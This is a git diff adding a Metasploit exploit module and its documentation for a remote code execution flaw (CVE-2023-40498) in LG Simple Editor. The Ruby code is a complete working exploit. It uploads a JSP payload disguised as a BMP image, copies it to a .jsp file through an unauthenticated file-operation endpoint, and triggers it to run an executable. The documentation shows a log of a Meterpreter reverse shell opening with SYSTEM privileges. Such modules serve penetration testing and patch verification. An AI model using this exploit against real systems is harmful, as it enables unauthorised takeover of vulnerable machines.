diff --git a/documentation/modules/exploit/windows/http/lg_simple_editor_rce.md b/documentation/modules/exploit/windows/http/lg_simple_editor_rce.md new file mode 100644 index 000000000000..682d009d1101 --- /dev/null +++ b/documentation/modules/exploit/windows/http/lg_simple_editor_rce.md @@ -0,0 +1,64 @@ +## Vulnerable Application + +LG Simple Editor is recommended for small businesses and sports bars which require simple content +display or play-on-air via their signage. It enables easy new content creation by simplifying processes, +and immediate playback on signage. + +This Metasploit module exploits broken access control and directory traversal +vulnerabilities in LG Simple Editor software for gaining code execution. +The vulnerabilities exists in versions of LG Simple Editor prior to v3.21. +By exploiting this flaw, an attacker can upload and execute a malicious JSP +payload with the SYSTEM user permissions. + +## Testing +For installing the vulnerable version follow the steps below, +1. Download the installation file of the vulnerable software +[here](https://www.lg.com/us/business/display-solutions/supersign-w-lite/downloads/LGSimpleEditor_setup_v3_21_0.exe.zip) +2. Follow the installation steps. + +After these steps, the LG Simple Editor service should be accessible on port 8080. + +## Verification Steps + +1. msfconsole +2. Do: `use exploit/windows/http/lg_simple_editor_rce` +3. Do: `set RHOST [IP]` +4. Do: `check` + +## Options + +## Scenarios + +``` +msf6 > use exploit/windows/http/lg_simple_editor_rce +[*] Using configured payload windows/meterpreter/reverse_tcp +msf6 exploit(windows/http/lg_simple_editor_rce) > set rhosts 192.168.56.109 +rhosts => 192.168.56.109 +msf6 exploit(windows/http/lg_simple_editor_rce) > set lhost 192.168.56.1 +lhost => 192.168.56.1 +msf6 exploit(windows/http/lg_simple_editor_rce) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version: 3.21.0 +[*] Uploading JSP payload... +[+] Payload uploaded successfully +[+] /nvFIE_original.bmp -> /nvFIE.jsp copy successfull. +[*] Triggering payload... +[*] Sending stage (175686 bytes) to 192.168.56.109 +[+] Deleted ./webapps/simpleeditor/nvFIE.jsp +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.109:50097) at 2023-09-01 03:44:31 +0200 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : DESKTOP-LB6UGKE +OS : Windows 10 (10.0 Build 19045). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +meterpreter > + +``` diff --git a/modules/exploits/windows/http/lg_simple_editor_rce.rb b/modules/exploits/windows/http/lg_simple_editor_rce.rb new file mode 100644 index 000000000000..c22a6f994407 --- /dev/null +++ b/modules/exploits/windows/http/lg_simple_editor_rce.rb @@ -0,0 +1,187 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper # includes register_files_for_cleanup + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'LG Simple Editor Remote Code Execution', + 'Description' => %q{ + This Metasploit module exploits broken access control and directory traversal + vulnerabilities in LG Simple Editor software for gaining code execution. + The vulnerabilities exist in versions of LG Simple Editor prior to v3.21. + By exploiting this flaw, an attacker can upload and execute a malicious JSP + payload with the SYSTEM user permissions. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'rgod', # Vulnerability discovery + 'Ege Balcı ' # msf module + ], + 'References' => [ + ['ZDI', '23-1204'], + ['CVE', '2023-40498'] + ], + 'DefaultOptions' => { + 'WfsDelay' => 5 + }, + 'Platform' => %w[win], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Privileged' => true, + 'Targets' => [ + ['LG Simple Editor <= v3.21', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-08-24', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, 'The URI of the LG Simple Editor', '/']) + ] + ) + end + + def check + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri, 'simpleeditor', 'common', 'commonReleaseNotes.do') + } + ) + + return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? + + version = Rex::Version.new(res.get_html_document.xpath('//h2')[0]&.text&.gsub('v', '')) + return Exploit::CheckCode::Unknown if version.nil? || version == 'Unknown' + return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('3.21.0') + + Exploit::CheckCode::Safe + end + + def generate_jsp_payload + exe = generate_payload_exe + base64_exe = Rex::Text.encode_base64(exe) + payload_name = rand_text_alpha(rand(3..8)) + + var_raw = 'a' + rand_text_alpha(rand(3..10)) + var_ostream = 'b' + rand_text_alpha(rand(3..10)) + var_buf = 'c' + rand_text_alpha(rand(3..10)) + var_decoder = 'd' + rand_text_alpha(rand(3..10)) + var_tmp = 'e' + rand_text_alpha(rand(3..10)) + var_path = 'f' + rand_text_alpha(rand(3..10)) + var_proc2 = 'e' + rand_text_alpha(rand(3..10)) + + jsp = %| + <%@page import="java.io.*" %> + <%@page import="sun.misc.BASE64Decoder"%> + <% + try { + String #{var_buf} = "#{base64_exe}"; + BASE64Decoder #{var_decoder} = new BASE64Decoder(); + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); + + File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe"); + String #{var_path} = #{var_tmp}.getAbsolutePath(); + + BufferedOutputStream #{var_ostream} = + new BufferedOutputStream(new FileOutputStream(#{var_path})); + #{var_ostream}.write(#{var_raw}); + #{var_ostream}.close(); + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); + } catch (Exception e) { + } + %> + | + + jsp.gsub!(/[\n\t\r]/, '') + + jsp + end + + def copy_file(src, dst) + data = { + command: 'cp', + option: '-f', + srcPath: src, + destPath: dst + } + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'fileSystem', + 'makeDetailContent.do'), + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Accept' => 'application/json' + }, + 'ctype' => 'application/json', + 'data' => data.to_json + } + ) + if res && res.code == 200 && res.body.to_s.include?('errorMessage":"success",') + print_good "#{src} -> #{dst} copy successfull." + else + fail_with(Failure::UnexpectedReply, "#{peer} - Could not copy the payload.") + end + end + + def exploit + rand_name = Rex::Text.rand_text_alpha(5) + form = Rex::MIME::Message.new + form.add_part( + generate_jsp_payload, + 'image/bmp', + 'binary', + "form-data; name=\"uploadFile\"; filename=\"#{rand_name}.bmp\"" + ) + form.add_part('/', nil, nil, 'form-data; name="uploadPath"') + form.add_part('-1000', nil, nil, 'form-data; name="uploadFile_x"') + form.add_part('-1000', nil, nil, 'form-data; name="uploadFile_y"') + form.add_part('1920', nil, nil, 'form-data; name="uploadFile_width"') + form.add_part('1080', nil, nil, 'form-data; name="uploadFile_height"') + + print_status 'Uploading JSP payload...' + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'imageManager', 'uploadImage.do'), + 'ctype' => "multipart/form-data; boundary=#{form.bound}", + 'data' => form.to_s + } + ) + if res && res.code == 200 + print_good 'Payload uploaded successfully' + else + fail_with(Failure::UnexpectedReply, "#{peer} - Payload upload failed") + end + + # Now we copy our payload as JSP + copy_file("/#{rand_name}_original.bmp", "/#{rand_name}.jsp") + register_files_for_cleanup("./webapps/simpleeditor/#{rand_name}.jsp") + + print_status 'Triggering payload...' + send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'simpleeditor', "#{rand_name}.jsp") + } + ) + end +end